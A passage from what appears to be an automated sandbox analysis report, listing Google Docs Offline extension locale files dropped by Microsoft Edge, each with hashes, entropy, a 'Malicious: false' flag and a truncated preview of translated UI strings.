\u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
